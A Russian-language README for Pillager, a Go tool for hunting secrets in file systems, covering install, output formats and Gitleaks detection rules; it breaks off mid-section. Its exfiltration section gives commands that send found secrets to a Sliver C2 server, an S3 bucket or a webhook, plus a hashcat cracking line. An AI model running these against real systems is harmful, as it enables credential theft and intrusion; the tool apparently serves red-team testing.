Pillager

Разоряйте файловые системы в поисках конфиденциальной информации с помощью Go.

Содержание

1. Обзор
2. Установка
3. Использование
4. Эксфильтрация
5. Документация

Обзор

Pillager предназначен для предоставления простого способа использования сильной конкурентной модели Go для рекурсивного поиска чувствительной информации в файлах. Pillager делает это, стоя на плечах нескольких гигантов. Когда pillager находит файлы, соответствующие указанному шаблону, файл сканируется с помощью серии параллельных воркеров, каждый из которых берет строку файла из очереди заданий и ищет совпадения с чувствительными шаблонами. Доступные фильтры шаблонов можно определить в файле pillager.toml или использовать набор правил по умолчанию.

Установка

Go

Если у вас установлен Go, вы можете установить Pillager с помощью go install

go install github.com/brittonhayes/pillager@latest

Scoop (Windows)

scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager

Homebrew (OSX/Linux)

brew tap brittonhayes/homebrew-pillager
brew install pillager

Docker-образ

docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .

Если вы ищете бинарный файл, проверьте последние релизы на наличие исполняемого файла, соответствующего вашей системе

Использование

Чтобы увидеть все доступные команды в pillager

# To see instructions for the entire application
pillager

# From any subcommand
pillager [cmd] --help

Пользовательский интерфейс

Pillager предоставляет терминальный пользовательский интерфейс, созданный с помощью bubbletea, если вы хотите сканировать секреты в интерактивном режиме.

Эксфильтрация

Отправляйте обнаруженные секреты на удаленные назначения: Sliver C2 (хранилища трофеев/учетных данных), S3/MinIO (облачное хранилище) или Webhooks (пользовательские HTTP-конечные точки).

# Sliver C2 - Send to teamserver with credential parsing
pillager hunt /target --exfil sliver \
  --sliver-config ~/.sliver-client/configs/operator.cfg

# S3/MinIO - Upload with encryption
pillager hunt /target --exfil s3 \
  --s3-bucket red-team-findings \
  --s3-endpoint https://minio.internal:9000 \
  --exfil-encrypt env:EXFIL_KEY

# Webhook - POST to custom endpoint
pillager hunt /target --exfil webhook \
  --webhook-url https://your-server.com/findings \
  --webhook-header "Authorization: Bearer token"

Безопасность: шифрование AES-256-GCM (--exfil-encrypt), TLS по умолчанию, автоматические метаданные (имя хоста, временная метка)

Конфигурация

Правила Gitleaks

Pillager обеспечивает полную поддержку правил Gitleaks[^2]. Это можно передать через раздел rules¹ в файле pillager.toml, или использовать набор правил по умолчанию, оставив флаг конфигурации пустым.

# pillager.toml
# Basic configuration
verbose = false 
redact = false 

# Rules for secret detection
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]

[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]

[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]

[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]

# Allowlist configuration
[allowlist]
paths = [
    ".*/_test\\.go$",
    ".*/testdata/.*",
    ".*\\.md$",
    ".*/vendor/.*"
]
regexes = [
    "EXAMPLE_KEY",
    "DUMMY_SECRET"
] 

Встроенные форматы вывода

Pillager имеет ряд встроенных форматов вывода. Выбирайте на свой вкус!

Базовый

pillager hunt .

JSON

pillager hunt ./example -f json | jq

Вывод JSON предназначен для бесшовной работы с замечательной утилитой jq для удобного парсинга.

Список слов

# Use pillager to generate a new-line delimited wordlist from findings
pillager hunt . -f wordlist 

# Use pillager to append a wordlist and then use your favorite hashcat attack mode
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt

pillager hunt . -f json-pretty

pillager hunt . -f html > results.html

pillager hunt . -f markdown > results.md

pillager hunt . -f csv > results.csv

pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"

pillager hunt . -t "$(cat mytemplate.tmpl)"

Пользовательские шаблоны

Pillager позволяет использовать мощные функции go text/template и sprig для настройки формата вывода. Вот несколько примеров шаблонов.

Базовый

{{ range . -}}
    File: {{ .File }}
    Secret: {{ .Secret}}
    Description: {{ quote .Description }}
{{ end -}}

Markdown-стилизация

# Results

{{ range . -}}
    ## {{ .File }}
    - Location: {{.StartLine}}
{{end}}

Больше примеров шаблонов можно найти в каталоге templates.

Документация

Документация GoDoc доступна на pkg.go.dev для pillager.

Разработка

Чтобы принять участие в разработке функций и исправлений для Pillager, начните со следующего:

• Установите Go
• Установите Taskfile.dev
• Прочтите CONTRIBUTING.MD

Плечи гигантов ⭐

Cobra от spf13

Что такое Cobra?

Cobra — это библиотека, предоставляющая простой интерфейс для создания мощных современных CLI-интерфейсов, похожих на инструменты git и go. Cobra также является приложением, которое генерирует каркас вашего приложения для быстрой разработки приложения на основе Cobra.

Если вы раньше видели CLI, написанный на Go, велика вероятность, что он был создан с помощью Cobra. Я не могу достаточно рекомендовать эту библиотеку. Она позволяет разработчикам легко создавать последовательные, динамичные и самодокументирующиеся инструменты командной строки. Некоторые примеры: kubectl, hugo и CLI Github gh.

Gitleaks

Что такое Gitleaks?